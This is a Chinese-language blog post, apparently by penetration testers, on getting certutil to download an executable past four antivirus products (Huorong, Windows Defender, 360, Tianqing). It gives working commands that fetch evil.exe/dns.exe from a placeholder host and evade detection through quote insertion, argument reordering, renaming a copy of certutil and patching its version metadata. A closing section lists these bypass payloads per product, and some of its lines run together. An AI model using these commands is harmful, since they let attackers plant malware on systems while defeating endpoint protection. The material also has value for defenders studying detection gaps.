干貨 | 從Certutil下載繞過探究常見殺軟的繞過思路
0X00 前言
在之前某個項目中,遇到一個只能用ms17-010-command打的Windows Server 2008 R2,每次執行輸入一條命令,有些特殊符號還不能帶入,這臺服務器上也有開了核晶防護引擎的360安全衛士,當時簡單試了一下添加管理員用戶的繞過沒成,看來還是得下一個exe進行多人運動。網絡上找了一些下載命令變形發現都被攔了,于是本地測試了一下,項目后也順便測試其他殺軟檢測效果,我們以常見的certutil為例(其他帶下載功能的系統exe繞過思路都是相通的)來探究一下國內常見的殺軟的繞過思路。
0X01 Certutil介紹
首先簡單介紹一下Windows系統自帶certutil:
certutil.exe是作為證書服務的一部分安裝的命令行程序。可以使用certutil.exe轉儲和顯示證書頒發機構 (CA) 配置信息、配置證書服務、備份和還原 CA 組件,以及驗證證書、密鑰對和證書鏈。
更多可以參考微軟官方的介紹:
https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil
我們一般利用certutil下載文件,常見命令為:
certutil -urlcache -split -f http://xxx.com/evil.exe
這里簡單介紹一下參數:
- -urlcache 顯示或刪除URL緩存條目。無值的命令行選項。
- -f 覆蓋現有文件。有值的命令行選項。后面跟要下載的文件 url。
- -split 保存到文件。無值的命令行選項。加了的話就可以下載到當前路徑,不加就下載到了默認路徑。
另外以下命令也是可以正常下載的:
certutil -urlcache -f http://xxx.com/evil.exe dns.exe
0X02 繞過過程
0X03 火絨繞過
測試環境:win11 x64 物理機 火絨 5.0.68.1 默認配置

火絨對默認的下載的語句會攔截。
certutil -urlcache -split -f http://xxx.com/dns.exe

我們嘗試隨便添加不存在的-a參數,可以看到火絨也是要攔的。
certutil -urlcache -split -f http://xxx.com/dns.exe -a

那我們嘗試換過一下參數位置,可以火絨不攔截了。
certutil -urlcache -split -a -f http://xxx.com/dns.exe

我們只要-a參數換為不影響下載功能的參數即可繞過火絨。
certutil -urlcache -split -gmt -f http://xxx.com/dns.exe

從上面測試過程大概推測出火絨是基于正則語句規則進行匹配語句的,基于靜態的規則匹配比較雞肋,我只要稍微變形一下語句不讓其不匹配到即可繞過,比如在-split參數前面多加一個空格就繞過了,大家可以隨意發揮。
certutil -urlcache -split -f http://xxx.com/dns.exe

0X04 Defender繞過
測試環境:win10 x64 物理機 Windows Defernder 4.18.2203.5-0 默認配置

我們對首先使用默認下載語句測試一下Defernder,可以看到是被Denferder檢測到了,而且我們嘗試在參數后面加一些干擾字符也無用。

那我們嘗試對參數做一下變形呢,在Windows cmd中有些字符串是不影響命令原意的,比如^和"。

那我們可以利用這一特性嘗試繞過。
certutil -url""""cache -split -f http://xxx.com/dns.exe

可以從上圖看到當我們在urlcache參數里加入2組""即可繞過Denfender的檢測,可以分析出Denfender不只是簡單匹配命令語句,也會動態檢查運行命令的參數。
0X05 360繞過
測試環境:物理機 win10 x64 360安全衛士 13.0.0.2003 防護全開 開啟核晶防護引擎

從以往的經驗來看,360安全衛士的物理機防護和查殺效果都比虛擬機要強,所以這次我們就用物理機來測,先簡單測試一下命令變形,可以看到都被攔截了。

那我們試著把參數減少看看情況。

可以看到我們即使參數縮短到不正常工作的命令行也會攔截,對其參數再怎么變形都無用,有點變態,綜上可以看出來是對certutil運行參數進行了動態檢測,只要動態執行后的參數有-urlcache就攔截。
既然對certutil檢測那么嚴,那我們換換思路,給certutil換個路徑和文件名看看。
copy c:\windows\system32\certutil.exe c.exe

可以看到執行c -urlcache不再攔截了,說明思路可行,那我們再次加上其他參數看看情況呢,可以看到成功繞過。
c -urlcache -split -f http://xxx.com/dns.exe

0X06 天擎繞過
測試環境:虛擬機 win7sp1 x64 天擎 v10.3.0.2009 防護全開

首先還是先測試一下命令參數變形的情況,可以看到都攔截了。

我們再加入更復雜的變形也不行。

試一下過360的思路,還是被攔了。

既然有靜態的參數urlcache就被攔,那動態拼接出參數urlcache呢?
我們用set命令進行賦值,把參數urlcache進行拆分,然后用call命令來調用,用%a1%格式來拼接出參數urlcache,可以到看到還是被攔了,看來天擎是程序運行后再獲取到實際的參數再做匹配的,可以,很強。

測到這里看來普通的參數字符變形是行不通的,我們換換思路,加入其他的命令進行變形看看情況呢。

還是被攔了,不過看之前的攔截信息,父進程來源都是cmd.exe,那我們試一下改變其父進程呢,改變其進程鏈,使用pcalua啟動certutil。

好家伙,嘗試使用其他方式調用certutil還是不行,估計是不管其啟動父進程,只要天擎識別到啟動的是certutil并且帶有urlcache參數就會攔截。
既然這樣,那我們思路就有了,只要讓天擎不識別到為certutil是不是就可以繞過了,首先想到的天擎可能是根據程序的哈希值進行識別的,那我們嘗試改變certutil的hash試試,把calc.exe附加到certutil的后面,這樣既改變了certutil的hash而且也不影響certutil的正常執行。

可以看到,從攔截信息來看還是把new識別為certutil,我們看一下new的版本信息也還是certutil的。

所以推測殺軟是根據程序版本信息進行識別的,我們嘗試修改程序版本信息看看能否繞過。
為了驗證這個思路,網上找了一圈沒有發現系統自帶的命令可以修改程序版本信息,無奈之下找到一個三方的小巧好用的修改工具verpatch,經過測試只需要修改程序版本信息中InternalName字段的值,這里我們InternalName修改為空看看情況。
verpatch.exe c.exe /s InternalName ""

可以看到天擎已經不識別為certuitl了,正常的下載也不再攔截了。

不過到這里我們已經借助了三方工具來修改程序元數據,所以此時的繞過意義已經不大了,只能說明這個繞過思路是可行的,在一些其他場景可以發揮作用。
0X07 繞過操作的payload
火絨繞過(隨意發揮)
certutil -urlcache -split -f http://xxx.com/dns.execertutil -urlcache -split -gmt -f http://xxx.com/dns.execertutil -url""cache -split -f http://xxx.com/dns.exe
Defender繞過
certutil -url""""cache -split -f http://xxx.com/dns.exe
360繞過
certutil|certutil -urlcache split -f http://xxx.com/dns.execopy c:\windows\system32\certutil.exe c.exec -urlcache -split -f http://xxx.com/dns.exe
天擎繞過
copy c:\windows\system32\certutil.exe c.exeverpatch.exe c.exe /s InternalName ""certutil -urlcache -split -f http://xxx.com/dns.exe
0X08 測試結果
測試時間:2022年5月24-26日
測試環境 殺軟 版本 能否繞過 win10 物理機 火絨 5.0.68.1 可以 win11 物理機 Windows Defender 4.18.2203.5-0 可以 win10 物理機 360安全衛士 13.0.0.2003 可以 win7 sp1 虛擬機 天擎 v10.3.0.2009 特定場景可以 |
0X09 后話
在測試天擎后,詢問團隊里大佬有無姿勢,大佬反手就是一發繞過命令,原理還是urlcache進行變形,因為不管怎么樣殺軟獲取到實際參數還是要做正則匹配,那我們只要加一些既不影響命令原意又能打斷正則匹配的符號就行了,大家往這個方向fuzz也可以達到目的。